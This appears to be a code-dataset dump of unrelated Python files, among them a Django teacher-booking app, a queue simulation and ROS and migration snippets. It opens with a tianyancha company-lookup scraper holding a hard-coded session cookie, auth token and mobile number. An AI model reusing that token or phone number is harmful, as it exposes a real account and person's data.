tyc-user-info=%257B%2522myQuestionCount%2522%253A%25220%2522%252C%2522integrity%2522%253A%25220%2525%2522%252C%2522state%2522%253A%25220%2522%252C%2522vipManager%2522%253A%25220%2522%252C%2522onum%2522%253A%25220%2522%252C%2522monitorUnreadCount%2522%253A%25220%2522%252C%2522discussCommendCount%2522%253A%25220%2522%252C%2522token%2522%253A%2522eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxODAyNzMxODY2OCIsImlhdCI6MTU0NTExMDIzOSwiZXhwIjoxNTYwNjYyMjM5fQ.LbHiFyZi0nHAI-c23DGTrqGSUV_oDhW9SwFSmSklkMDXQxO2Seygup2C_v9kQVAEM_ZgIq7Y8PYni3Lf7Porhw%2522%252C%2522redPoint%2522%253A%25220%2522%252C%2522pleaseAnswerCount%2522%253A%25220%2522%252C%2522vnum%2522%253A%25220%2522%252C%2522bizCardUnread%2522%253A%25220%2522%252C%2522mobile%2522%253A%252218027318668%2522%257D; auth_token=eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxODAyNzMxODY2OCIsImlhdCI6MTU0NTExMDIzOSwiZXhwIjoxNTYwNjYyMjM5fQ.LbHiFyZi0nHAI-c23DGTrqGSUV_oDhW9SwFSmSklkMDXQxO2Seygup2C_v9kQVAEM_ZgIq7Y8PYni3Lf7Porhw; __insp_slim=1545110258939; Hm_lpvt_e92c8d65d92d534b0fc290df538b4758=1545110259"
}
doc = pq('https://www.tianyancha.com/search?key='+name,headers=hd)
print 'https://www.tianyancha.com/search?key='+name
link_company = doc(".name").eq(0).text().replace(" ", "")
# print "tyc_company_name", link_company,
if link_company:
is_good =6
if link_company == company:
is_good= 5
print link_company,"对比中:::",company, link_company == company
db1.execute(
"update t_customer set is_get=%s,is_get_at=now(),tyc_name=%s where id=%s",
is_good, link_company, company_id)
else:
print "天眼查抓取失败,需打码" ,link_company
time.sleep(15)
def dowork():
num =1
for item in db1.query(
"select id,company_reguid_new,company from t_customer where company_reguid_new is not null and (is_get =1 or is_get=3 or is_get=6) order by created_at "):
num = num+1
print "开始 ", item.company_reguid_new, num,item.id, item.company
if item.company and item.company_reguid_new != "-":
db1.execute(
"update t_customer set is_get=7,is_get_at=now() where id=%s", item.id)
addNew(item.company_reguid_new,item.company, item.id)
time.sleep(1)
dowork()
print "done" |
18,247 | da8d0d3de2df6d5e332040ad93aa3f4edae37abc | from django.shortcuts import render
from django.http import HttpResponse
from extra_hands_app.models import Teacher, Client, Available_Time, Event, Email_List, Click
from forms import EventForm, UserForm, TeacherForm, ClientForm, AvailableTimeForm
from django.http import HttpResponseRedirect, HttpResponseNotAllowed, Http404, HttpResponseForbidden
from django.core.urlresolvers import reverse
from django.contrib.auth import authenticate, login, logout
from django.contrib.auth.decorators import login_required
from django.contrib import messages
import datetime
from decimal import Decimal
from dateutil.parser import parse as parse_date
import pytz
# from templated_email import send_templated_mail
from mail_templated import send_mail
# Create your views here.
def index(request):
context_dict={}
response = render(request, 'base.html', context_dict)
return response
#Allows a logged-in user to view a specific teacher profile.
@login_required
def get_teacher(request, teacher_slug):
context_dict ={}
try:
teacher = Teacher.objects.get(slug=teacher_slug)
context_dict['teacher'] = teacher
except Teacher.DoesNotExist:
pass
return render(request, 'teacher.html', context_dict)
#View a list of teachers with links to their individual profiles.
@login_required
def get_all_teachers(request):
teachers = Teacher.objects.all()
context_dict ={'teachers':teachers}
response = render(request, 'teachers.html', context_dict)
return response
#Allows a logged in user to view details about a client. This will likely be decommissioned in the final app
@login_required
def get_client(request, client_slug):
context_dict = {}
try:
client = Client.objects.get(client_slug=client_slug)
context_dict['client'] = client
except Client.DoesNotExist:
pass
client_events = Event.objects.filter(client = client)
context_dict['events'] = client_events
return render(request, 'client.html', context_dict)
#List of all clients with links to their individual profiles. Will likely be removed.
@login_required
def get_all_clients(request):
clients = Client.objects.all()
context_dict = {'clients': clients}
return render(request, 'clients.html', context_dict)
#First step for creating an event. Shows the Event form and posts the initial event information.
@login_required
def add_event(request, client_slug):
try:
client = Client.objects.get(client_slug=client_slug)
except Client.DoesNotExist:
client = None
if request.user == client.user:
if request.method == 'POST':
form = EventForm(request.POST)
if form.is_valid():
if client:
event = form.save(commit=False)
event.client = client
event.save()
url = 'event/' + str(event.pk) +'/select-teacher/'
messages.success(request, "Initial creation of the event was successful. Please select teachers to email below.")
times_available = get_all_times_available_for_event(event)
for time in times_available:
if time.pk not in event.times_available and time.pk not in event.times_emailed:
event.times_available.extend([time.pk])
event.save()
return HttpResponseRedirect(url)
else:
print form.errors
else:
form = EventForm()
context_dict = {'form': form, 'client': client}
return render(request, 'add_event.html', context_dict)
else:
dict ={'class_event': "alert-danger", 'message': "You don't have permission to perform this action.", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
#Creates available time for a specific teacher.
@login_required
def add_time(request, teacher_slug):
try:
teacher = Teacher.objects.get(slug = teacher_slug)
except Teacher.DoesNotExist:
teacher = None
return Http404("Teacher does not exist!")
if request.user == teacher.user:
if request.method == 'POST':
#Check for double bookings
if check_double_booked_time(teacher, request.POST.get('start_time'), request.POST.get('end_time')):
messages.error(request, "This time is already booked or your times overlap! Please correct your entry and try again.")
return HttpResponseRedirect("/teacher/" + teacher.slug + "/add_time/")
#Create the form, validate, and save
form = AvailableTimeForm(request.POST)
if form.is_valid():
if teacher:
time = form.save(commit=False)
time.teacher = teacher
time.save()
messages.success(request, "Your availability was added successfully.")
return HttpResponseRedirect("/myaccount/")
else:
print form.errors
else:
form = AvailableTimeForm()
context_dict = {'form': form, 'teacher': teacher}
return render(request, 'add_time.html', context_dict)
else:
dict ={'class_event': "alert-danger", 'message': "You don't have permission to perform this action.", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
#Allows a teacher to edit time they previously submitted
@login_required
def edit_time(request, time_pk):
try:
time = Available_Time.objects.get(pk=time_pk)
except Available_Time.DoesNotExist:
time = None
dict ={'class_event': "alert-danger", 'message': "This scheduled time does not exist!", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
if request.user == time.teacher.user:
if request.method == 'POST':
form = AvailableTimeForm(request.POST)
if form.is_valid():
time.start_time = form.cleaned_data['start_time']
time.end_time = form.cleaned_data['end_time']
time.save()
messages.success(request, "Your availability was updated successfully.")
return HttpResponseRedirect("/myaccount/")
else:
print form.errors
else:
form = AvailableTimeForm(instance=time)
context_dict = {'form': form, 'time':time}
return render(request, 'edit_time.html', context_dict)
else:
dict ={'class_event': "alert-danger", 'message': "You don't have permission to perform this action.", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
#Allows a teacher or user to delete their own scheduled time objects
@login_required
def delete_time(request, time_pk):
try:
time = Available_Time.objects.get(pk=time_pk)
except Available_Time.DoesNotExist:
time = None
dict ={'class_event': "alert-danger", 'message': "This scheduled time does not exist!", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
if request.user == time.teacher.user:
time.delete()
messages.success(request, "You have successfully deleted this time")
return HttpResponseRedirect("/myaccount/")
else:
dict ={'class_event': "alert-danger", 'message': "You don't have permission to perform this action.", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
#Allows a client to edit an event they have created
@login_required
def edit_event(request, event_pk):
event = Event.objects.get(pk=event_pk)
if request.user == event.client.user:
if request.method == 'POST':
form = EventForm(request.POST)
if form.is_valid():
event.start_time= form.cleaned_data['start_time']
event.end_time = form.cleaned_data['end_time']
event.comments = form.cleaned_data['comments']
event.is_on_call = form.cleaned_data['is_on_call']
# other editable fields go here
event.save()
messages.success(request, "Event was successfully edited.")
return HttpResponseRedirect("/myaccount/")
else:
print form.errors
else:
form =EventForm(instance=event)
context_dict ={'form': form, 'event': event}
return render(request, 'edit_event.html', context_dict)
else:
dict ={'class_event': "alert-danger", 'message': "You don't have permission to perform this action.", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
@login_required
def delete_event(request, event_pk):
try:
event = Event.objects.get(pk= event_pk)
except Event.DoesNotExist:
event = None
dict ={'class_event': "alert-danger", 'message': "This event does not exist!", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
if request.user == event.client.user:
if event.in_progress or event.teacher is not None:
messages.error(request, "This event is in progress and cannot be modified!")
return HttpResponseRedirect("/myaccount/")
else:
event.delete()
messages.success(request, "You have successfully deleted this event.")
return HttpResponseRedirect("/myaccount/")
else:
dict ={'class_event': "alert-danger", 'message': "You don't have permission to perform this action.", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
#Renders the Registration form for a teacher if a GET and saves the teacher is a POST
def register_teacher(request):
registered = False
if request.method == 'POST':
user_form = UserForm(data=request.POST)
teacher_form = TeacherForm(data=request.POST)
if user_form.is_valid() and teacher_form.is_valid():
#Don't commit here because if the teacher info is bad it will
#create a user but not a teacher
user= user_form.save(commit=False)
#hash the password
user.set_password(user.password)
user.save()
teacher = teacher_form.save(commit=False)
#associate the correct user profile with the teacher information
teacher.user = user
#save the teacher
teacher.save()
user.save()
registered = True
messages.success(request, "Thank you for registering! Welcome to your portal.")
return HttpResponseRedirect("/myaccount/")
else:
print user_form.errors, teacher_form.errors
#GET Request
else:
user_form = UserForm()
teacher_form = TeacherForm()
context_dict = {'user_form': user_form, 'teacher_form': teacher_form, 'registered': registered}
return render(request, 'register_teacher.html', context_dict)
#Renders the Client registration form for a GET and saves the client with a POST request
def register_client(request):
registered = False
if request.method =='POST':
user_form = UserForm(data=request.POST)
client_form = ClientForm(data=request.POST)
if user_form.is_valid() and client_form.is_valid():
user = user_form.save(commit=False)
#hash the password
user.set_password(user.password)
user.save()
client = client_form.save(commit=False)
client.user = user
client.save()
#now commit the user object that the client is saved
user.save()
registered = True
messages.success(request, "Thank you for registering! Welcome to your portal.")
else:
print user_form.errors, client_form.errors
#GET request
else:
user_form = UserForm()
client_form = ClientForm()
context_dict = {'user_form': user_form, 'client_form': client_form, 'registered': registered}
return render(request, 'register_client.html', context_dict)
#Login page for the user
def user_login(request):
if request.method =='POST':
username = request.POST['username']
password = request.POST['password']
user= authenticate(username=username, password=password)
if user:
if user.is_active:
login(request, user)
messages.success(request, "You are logged in.")
return HttpResponseRedirect("/myaccount/")
else:
dict ={'class_event': "alert-danger", 'message': "Your account is inactive. Contact the site administrator.", 'url': 'index', 'button_text': "Home" }
return render(request, "generic_message.html", dict)
else:
messages.error(request, "You supplied incorrect login details. Please try again.")
return HttpResponseRedirect("/login/")
#GET Request, show the form
else:
return render(request, 'login.html', {})
#Log out the user and redirect them to the index
@login_required
def user_logout(request):
# Since we know the user is logged in, we can now just log them out.
logout(request)
# Take the user back to the homepage.
messages.success(request, "You are now logged out.")
return HttpResponseRedirect('/')
#The main method for displaying the users information. The request is routed based on the type of user.
#For clients, they see a page with their upcoming and pending events.
#For teachers, they see a page with their confirmed events and available time calender
#The superuser sees all the events, clients, and teacher. Can be customized to be a dashboard for things that Django Admin can't do.
@login_required()
def my_account(request):
user = request.user
context_dict={'user':user}
is_teacher = False
is_client = False
is_superuser = False
if Teacher.objects.filter(user=user).exists():
is_teacher = True
teacher = Teacher.objects.filter(user=user)
available_time = Available_Time.objects.filter(teacher=teacher).filter(start_time__gte=datetime.datetime.today() - datetime.timedelta(days=1)).filter(active=True).order_by('start_time')
events = Event.objects.filter(teacher=teacher).filter(start_time__gte=datetime.datetime.today() - datetime.timedelta(days=1)).order_by('start_time')
context_dict['times'] = available_time
context_dict['events'] = events
if Client.objects.filter(user=user).exists():
is_client=True
client = Client.objects.filter(user=user)
client_events_unconfirmed = Event.objects.filter(client=client).filter(teacher=None).filter(start_time__gte=datetime.datetime.today() - datetime.timedelta(days=1)).order_by('start_time')
current_client_events = Event.objects.filter(start_time__gte=datetime.datetime.today() - datetime.timedelta(days=1)).exclude(teacher__isnull=True)
for event in client_events_unconfirmed:
times_available = get_all_times_available_for_event(event)
for time in times_available:
if time.pk not in event.times_available and time.pk not in event.times_emailed:
event.times_available.extend([time.pk])
event.save()
sum = 0
for event in client_events_unconfirmed:
sum += len(event.times_available)
context_dict['notification_sum'] = sum
context_dict['unconfirmed_events'] = client_events_unconfirmed
context_dict['current_events'] = current_client_events
if user.is_superuser:
is_superuser = True
context_dict['teachers'] = Teacher.objects.all()
context_dict['clients'] = Client.objects.all()
context_dict['events'] = Event.objects.all().order_by('start_time')
context_dict['is_teacher'] = is_teacher
context_dict['is_superuser'] = is_superuser
context_dict['is_client'] = is_client
context_dict['message'] = "You have successfully logged in."
return render(request, "myaccount.html", context_dict)
#POST method for teachers to toggle their on-call status.
#The lack of the teacher URL param prevents this method from being toggled by anyone else and is harmless, redirecting the user's account
@login_required
def go_on_call(request):
if request.method == 'POST':
if Teacher.objects.filter(user=request.user).exists():
teacher = Teacher.objects.get(user = request.user)
#reverse whatever it is
teacher.on_call = not teacher.on_call
teacher.save()
if teacher.on_call:
messages.success(request, "You are now on call!")
else:
messages.warning(request, "You are not on call anymore!")
return HttpResponseRedirect("/myaccount/")
else:
return HttpResponse("I have no idea how you got here")
else:
return HttpResponseRedirect("/myaccount/")
@login_required()
def change_time(request, teacher_pk):
teacher = Teacher.objects.get(pk=teacher_pk)
if request.user == teacher.user:
if request.method =='POST':
try:
hours = Decimal(request.POST.get("hours"))
except ValueError:
messages.error(request, "Please enter a decimal value for hours between 0.5 and 3.")
return HttpResponseRedirect("/myaccount/")
if hours < 0.5 or hours > 3:
messages.error(request, "Please enter a decimal value for hours between 0.5 and 3.")
return HttpResponseRedirect("/myaccount/")
else:
teacher.time_between_events = hours
teacher.save()
messages.success(request, "Your time between events was successfully updated to %s hours" % hours)
return HttpResponseRedirect('/myaccount/')
else:
dict ={'class_event': "alert-danger", 'message': "You don't have permission to perform this action.", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
#Shows the available teachers for a particular event booking. Displays the teachers who have available times then and their profiles.
def show_available_teachers(request, event_pk):
user = request.user
context_dict={'user':user}
event = Event.objects.get(pk=event_pk)
context_dict['event'] = event
if request.user == event.client.user:
available_times =[]
emailed_times =[]
for time_pk in event.times_available:
time = Available_Time.objects.get(pk=time_pk)
available_times.append(time)
for time_pk in event.times_emailed:
time = Available_Time.objects.get(pk=time_pk)
emailed_times.append(time)
context_dict['emailed_times'] = emailed_times
context_dict['times'] = available_times
return render(request, 'select_teacher.html', context_dict)
else:
dict ={'class_event': "alert-danger", 'message': "You don't have permission to perform this action.", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
#Returns a list of available time given an event.
def get_all_times_available_for_event(event):
times = Available_Time.objects.filter(active=True)
available_times = []
#This is the logic to only grab the times that match the criteria for starting at or before the event time and ending at or after the event.
#The reason for grabbing the times and not the teachers is that each specific time has a teacher attached to it, but each teacher just has a list
#of all the total times they have entered (which could be a lot and have no relevance)
for time in times:
if time.start_time <= event.start_time and time.end_time >= event.end_time:
available_times.append(time)
return available_times
#Given an event and a teacher, this method analyzes what to do with the available time that was assigned to the event.
#If there is more time left, the method creates new AvailableTime objects and assigns them to the teacher.
def get_times_to_deactivate(event, teacher):
#all this code needs serious testing
times = Available_Time.objects.filter(teacher=teacher)
for time in times:
#exact match
if time.start_time == event.start_time and time.end_time == event.end_time:
#set it to false and call it good
time.active = False
time.save()
#available time start before event time and end time is the same
if time.start_time < event.start_time and time.end_time == event.end_time:
#check for the time delta and create new available time event
delta = event.start_time - time.start_time
time.active = False
time.save()
if(delta.seconds > 3600*teacher.time_between_events):
new_time = Available_Time()
new_time.start_time = time.start_time
new_time.end_time = event.start_time - datetime.timedelta(hours=float(teacher.time_between_events))
new_time.teacher = teacher
new_time.save()
#available time start is the same as event start time and end is after
if time.start_time == event.start_time and time.end_time > event.end_time:
#check for time delta
delta = time.end_time - event.end_time
time.active = False
time.save()
if(delta.seconds > 3600*teacher.time_between_events):
new_time = Available_Time()
new_time.start_time = event.end_time + datetime.timedelta(hours=float(teacher.time_between_events))
new_time.end_time = time.end_time
new_time.teacher = teacher
new_time.save()
#available time starts before event and ends after event
if time.start_time < event.start_time and time.end_time > event.end_time:
#check for time delta
time.active= False
time.save()
delta_start = event.start_time - time.start_time
delta_end = time.end_time - event.end_time
if(delta_start.seconds > 3600*teacher.time_between_events):
new_time = Available_Time()
new_time.start_time = time.start_time
new_time.end_time = event.start_time - datetime.timedelta(hours=float(teacher.time_between_events))
new_time.teacher = teacher
new_time.save()
if(delta_end.seconds > 3600*teacher.time_between_events):
new_time = Available_Time()
new_time.start_time = event.end_time + datetime.timedelta(hours=float(teacher.time_between_events))
new_time.end_time = time.end_time
new_time.teacher = teacher
new_time.save()
#Sends emails to the teachers that were selected by the client in the second part of the event creating process.
@login_required
def send_emails_to_teachers(request, event_pk):
event = Event.objects.get(pk=event_pk)
subject = "{0} has just sent you an email about an event!".format(event.client.organization)
return_address = "noreply@gmail.com"
if request.user == event.client.user:
if request.method == 'POST':
#mark the event as in_progress and no longer available to be deleted
event.in_progress = True
#Loop through all available teachers and send out mail
time_pks = request.POST.getlist('times')
for pk in time_pks:
time = Available_Time.objects.get(pk = pk)
teacher = time.teacher
send_email_teacher(event, teacher)
#add this time to the emailed list so it cannot be emailed again.
event.times_available.remove(int(pk))
event.times_emailed.extend([int(pk)])
event.save()
print "This teacher's name is {0}, the primary key is {1}, and their email is {2}".format(teacher.user.get_full_name(), teacher.pk, teacher.user.email)
messages.success(request, "Your email(s) was sent successfully.")
return HttpResponseRedirect("/myaccount/")
else:
dict ={'class_event': "alert-danger", 'message': "Something went wrong because you're not using this like you're supposed to.", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
else:
dict ={'class_event': "alert-danger", 'message': "You don't have permission to perform this action.", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
#Once a teacher clicks on their personal link, they are taken to this page to confirm that they want to commit to being in the event
@login_required
def confirm_teacher_part1(request, event_pk, teacher_pk):
event = Event.objects.get(pk = event_pk)
teacher = Teacher.objects.get(pk = teacher_pk)
if request.user == teacher.user:
#if the event already has a teacher
if event.teacher is not None:
#django won't do composite primary keys without fussing so I need to make my own and make sure duplicates don't exist
if Click.objects.filter(teacher = teacher.pk).filter(event=event.pk).exists():
dict={'class_event': "alert-warning", 'message': "You have already clicked on this event!", 'url': "myaccount", "button_text": "My Account"}
return render(request, "generic_message.html", dict)
else:
#make a new click object
click = Click()
click.event = event.pk
click.teacher = teacher.pk
click.save()
dict ={'class_event': "alert-warning", 'message': "Sorry, but this event has already been taken!", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
context_dict = {'teacher': teacher, 'event': event}
return render(request, 'teacher_event_confirm.html', context_dict)
else:
dict ={'class_event': "alert-danger", 'message': "You don't have permission to perform this action.", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
#Posts the final request and commit the teacher to the event
@login_required
def confirm_teacher_post(request, event_pk, teacher_pk):
event = Event.objects.get(pk = event_pk)
teacher = Teacher.objects.get(pk = teacher_pk)
if request.user == teacher.user:
if request.method == 'POST':
#assign the event teacher to the teacher who clicked it.
event.teacher=teacher
event.save()
#find all the times that the teacher has that will be marked inactive and mark them as inactive
#run the method for splitting the times into new times and setting to false
get_times_to_deactivate(event,teacher)
#give the teacher a click
click = Click()
click.teacher = teacher.pk
click.event = event.pk
click.save()
# send a confirmation email to the client
send_email_client(event)
messages.success(request, "You successfully signed up for this event! Please make sure your availability was appropriately updated.")
return HttpResponseRedirect("/myaccount/")
else:
dict ={'class_event': "alert-danger", 'message': "Something went wrong because you're not using this like you're supposed to.", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
else:
dict ={'class_event': "alert-danger", 'message': "You don't have permission to perform this action.", 'url': 'myaccount', 'button_text': "My Account"}
return render(request, "generic_message.html", dict)
def generic_message(request):
return render(request, "generic_message.html", {})
def check_double_booked_time(teacher, start_time, end_time):
timezone = pytz.timezone('America/Denver')
start_time_parse = timezone.localize(parse_date(start_time))
end_time_parse = timezone.localize(parse_date(end_time))
double_booked = False
teacher_times = Available_Time.objects.filter(teacher = teacher)
for time in teacher_times:
if time.start_time <= start_time_parse <= time.end_time or time.start_time <= end_time_parse <= time.end_time:
double_booked = True
break
return double_booked
def send_email_teacher(event, teacher):
send_mail(
template_name='templated_email/email_teacher.html',
from_email='eugene.baibourin@gmail.com',
recipient_list=[teacher.user.email],
context={
'event': event,
'teacher': teacher
},
)
def send_email_client(event):
send_mail(
template_name='templated_email/email_client.html',
from_email='eugene.baibourin@gmail.com',
recipient_list=[event.client.user.email],
context={
'event': event,
},
)
|
18,248 | 18217349ac9c681d47b54f43d7163e555016e02f | #!/usr/bin/env python
"""
Start the SimpleDriving action server
"""
import rospy
from motion_planning import vfh_move_server
if __name__ == "__main__":
rospy.init_node("vfh_mover")
MOVER = vfh_move_server.VFHMoveServer()
rospy.spin()
|
18,249 | 60ef4d83cbad457375e575ba7c5d0f9f3bed02db | # Generated by Django 3.1.7 on 2021-03-19 15:18
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='SaasScPoster',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('qrstyle', models.CharField(db_column='qrStyle', max_length=120)),
('posterid', models.IntegerField(db_column='posterId')),
('title', models.CharField(max_length=120)),
('infoid', models.IntegerField(db_column='infoId')),
('posterimg', models.CharField(db_column='posterImg', max_length=120)),
('createtime', models.IntegerField(db_column='createTime')),
('status', models.IntegerField()),
('shopcode', models.CharField(db_column='shopCode', max_length=20)),
('sellerid', models.IntegerField(db_column='sellerId')),
],
options={
'db_table': 'saas_sc_poster',
'managed': False,
},
),
]
|
18,250 | ec4ba93ac3bee703854dc604a1159df514974716 | from pathlib import Path
this_location = Path(__file__)
root = this_location.parents[1]
data_path = root / "data"
raw_data_path = data_path / "raw"
processed_data_path = data_path / "processed"
|
18,251 | 1bfbddb25e1559a2c5efc36b8ad841609185e704 | #!/usr/bin/python
# -*- coding: ascii -*-
from typing import TextIO
from os import path
db_file_list = [
'/mnt/NAS/inv/GOES-16/ABI-L1b-RadF/20190614/OR_ABI-L1b-RadF-M3C02_G16_s20171671145342_e20171671156109_c20171671156144.nc',
'/mnt/NAS/inv/GOES-16/ABI-L1b-RadF/20190614/OR_ABI-L1b-RadF-M3C03_G16_s20171671145342_e20171671156109_c20171671156144.nc']
db_files: TextIO = open('db_files.txt', 'w')
for entry in db_file_list:
entry = entry + '\n'
print(entry)
for entry in db_file_list:
db_files.write(entry + '\n')
db_files.close()
far_files_list = ['OR_ABI-L1b-RadF-M3C05_G16_s20171671145342_e20171671156109_c20171671156144.nc',
'OR_ABI-L1b-RadF-M3C02_G16_s20171671145342_e20171671156109_c20171671156144.nc']
for entry in far_files_list:
entry = entry + '\n'
print(entry)
far_files: TextIO = open('far_files.txt', 'w')
for entry in far_files_list:
far_files.write(entry + '\n')
far_files.close()
db_barefilenames = []
|
18,252 | 91b0c1adfdccd96665d4903e22c8b6c040317cf1 | from .base import *
DEBUG = False
ADMINS = (
('{{cookiecutter.author_name}}', '{{cookiecutter.author_email}}'),
)
MANAGERS = ADMINS
|
18,253 | 60544b3525e1901698ea2700a90619c7915f0185 | import random
import numpy
from colorama import Fore
def SetClock(a , b):
res = 0.0
if a<b : res = a
elif a == b : res = b
else: res = b
return res
def SetClock_zero(a, b):
res = 0.0
if a < b:
res = b
elif a == b:
res = b
else:
res = a
return res
import random
random.seed(10)
def random_generation_A():
r = random.random()
r = numpy.log(r)
return round((-r / 1.0),2)
def random_generation_B():
r1 = random.random()
r1 = numpy.log(r1)
return round((-r1 / 1.2), 2)
def bprint(sentence,val):
p = [None,None]
p[0]=sentence
p[1]=val
return print(Fore.BLUE+p[0], p[1])
def pprint(sentence,val):
p = [None,None]
p[0]=sentence
p[1]=val
return print(Fore.LIGHTMAGENTA_EX+p[0], p[1])
def gprint(sentence,val):
p = [None,None]
p[0]=sentence
p[1]=val
return print(Fore.LIGHTCYAN_EX+p[0], p[1])
def yprint(sentence,val):
p = [None,None]
p[0]=sentence
p[1]=val
return print(Fore.YELLOW+p[0], p[1])
deadline = 1
Ea=0.0
Es=0.0
# A = random_generation(Landa)
#S = random_generation(M)
A = random_generation_A()
Ea = Ea+A
deadline = int(input("please enter number of iteration: "))
if deadline < 1:
print(Fore.RED + "WRONG NUMBER!!!!!!!!!!")
deadline = 1
#use random function
Queue=0
NumberService=0
NumberProcess=0
busy=0
clock=0.0
Area_under_B=0.0
Area_under_Q=0.0
last_clock=0.0
last_clock1=0.0
pprint("clock: ", clock)
bprint("numberservice: ", NumberService)
yprint("Queue: ", Queue)
print(Fore.LIGHTCYAN_EX,"eventlist: [",A,", ~]")
eventList=[0.0,10000.1]
i=0
j=0
timestamp=""
out_timestamp=""
totdelay=0.0
eventList[0] = eventList[0] + A
lastQ = 0
last_clock = A
while NumberService != deadline:
if(eventList[0] < eventList[1]):
if (Queue == 0 and busy == 0):
clock = SetClock((eventList[0]), (eventList[1]))
pprint("clock: ",clock)
NumberService = NumberService + 1
bprint("numberservice: ",NumberService)
NumberProcess = NumberProcess + 1
yprint("Queue: ",Queue)
S = random_generation_B()
Es = Es + S
eventList[1] = last_clock + S
j = j + 1
i = i + 1
#Area_under_B = Area_under_B + busy * (clock - last_clock)
last_clock = clock
busy = 1
A = random_generation_A()
Ea = Ea + A
eventList[0] = eventList[0] + A
NumberProcess = NumberProcess + 1
gprint("eventlist: ", eventList)
clock = SetClock((eventList[0]), (eventList[1]))
if (Queue==0 and busy == 1):
clock = SetClock((eventList[0]), (eventList[1]))
Area_under_B = Area_under_B + busy * (clock - last_clock)
last_clock = clock
lastQ = 0
if (busy == 1):
i = i + 1
pprint("clock: ", clock)
Queue = Queue + 1
timestamp = timestamp + str(clock) +','
A = random_generation_A()
Ea = Ea + A
eventList[0] = eventList[0] + A
NumberProcess = NumberProcess + 1
Area_under_Q = Area_under_Q + Queue*(clock - last_clock)
last_clock=clock
clock = SetClock((eventList[0]), (eventList[1]))
Area_under_B = Area_under_B + busy * (clock - last_clock)
lastQ = Queue
bprint("numberservice: " , NumberService)
yprint("Queue: " , Queue)
gprint("eventlist: " , eventList)
if (eventList[0] >= eventList[1]):
if Queue == 0:
clock = SetClock((eventList[0]), (eventList[1]))
Area_under_B = Area_under_B + busy * (clock - last_clock)
last_clock = clock
pprint("clock: ", clock)
bprint("numberservice: ", NumberService)
yprint("Queue: ", Queue)
print(Fore.LIGHTCYAN_EX,"eventlist: [", str(eventList[0]),", ~]")
clock = SetClock_zero((eventList[0]),(eventList[1]))
busy = 0
i = i+1
NumberService= NumberService+1
A = random_generation_A()
Ea = Ea + A
eventList[0] = eventList[0] + A
NumberProcess = NumberProcess + 1
S = random_generation_B()
Es = Es + S
eventList[1] = clock + S
j = j+1
Area_under_Q = Area_under_Q + lastQ * (clock - last_clock)
lastQ = Queue
pprint("clock: " , clock)
bprint("numberservice: " , NumberService)
yprint("Queue: " , Queue)
gprint("eventlist: " , eventList)
if Queue > 0:
lastQ = Queue
Queue = Queue - 1
S = random_generation_B()
NumberService = NumberService + 1
last_clock1=clock
clock = SetClock((eventList[0]), (eventList[1]))
busy = 1
out_timestamp = out_timestamp + str(clock) +','
# totdelay = totdelay + ( clock - timestamp)
#timestamp=0.0
eventList[1] = clock + S
Es = Es + S
j = j + 1
pprint("clock: " , clock)
bprint("numberservice: " , NumberService)
yprint("Queue: " , Queue)
gprint("eventlist: " , eventList)
Area_under_Q = Area_under_Q + lastQ * (clock - last_clock)
last_clock = clock
clock = SetClock((eventList[0]),(eventList[1]))
Area_under_B = Area_under_B + busy * (clock - last_clock)
lastQ = Queue
last_clock = clock
busy = 1
print(Fore.WHITE,"")
m=0
ts=0.0
ots=0.0
timestamp = timestamp.split(',')
out_timestamp = out_timestamp.split(',')
for m in range(out_timestamp.__len__() - 1):
ts = float(timestamp[m])
ots = (float(out_timestamp[m]))
totdelay = totdelay + (ots - ts)
print(Fore.YELLOW,"*****************FINAL RESULTS******************")
bprint("ServiceNumber : ",NumberService)
bprint("system clock : ",round(clock,2))
bprint("Area under B(t): ",round(Area_under_B,2))
bprint("Area under Q(t): ",round(Area_under_Q,2))
bprint("Total Delay : ",round(totdelay,2))
Wq = totdelay / NumberService
Lq = Area_under_Q / clock
p = Area_under_B / clock
L = Lq + p
gprint("Wq : ",round(Wq,3))
gprint("Lq : ",round(Lq,3))
gprint("p : ",round(p,3))
gprint("L : ",round(L,3))
W = 0.0
n=0
value_of_Es=0.0
value_of_Ea = 0.0
M=0.0
Landa=0.0
throughput=0.0
value_of_Es = Es/NumberService
value_of_Ea = eventList[0] / NumberProcess
W = Wq + value_of_Es
if value_of_Es == 0:
print("something is going wrong!!!")
else: M = 1/value_of_Es
if value_of_Es == 0:
print("something is going wrong!!!")
else: Landa = 1/value_of_Ea
#pprint("ES :",round(value_of_Es,3))
pprint("W :",round(W,3))
#pprint("Landa :",round(Landa,3))
#pprint("Mou :",round(M,3))
print("")
if Landa < M:
throughput = 1.0
print(Fore.LIGHTBLUE_EX+"***********PAYDAR***********")
else:
throughput = p*1.2
print(Fore.RED + "!!!! NAPAYDAR !!!!")
import time
import sys
print(Fore.YELLOW+"")
animation = "|"
i=0
for i in range(15):
time.sleep(0.1)
sys.stdout.write(animation)
sys.stdout.flush()
yprint("syetem THROUGHPUT :",round(throughput,1))
print("")
#@NAZANIN BAYATI |
18,254 | d17cc4974943a7969f521cb4e82c9d3f1c64d8e6 | import pandas as pd
import numpy as np
import json
import re
from flask import Flask
from flask import request
from flask import jsonify
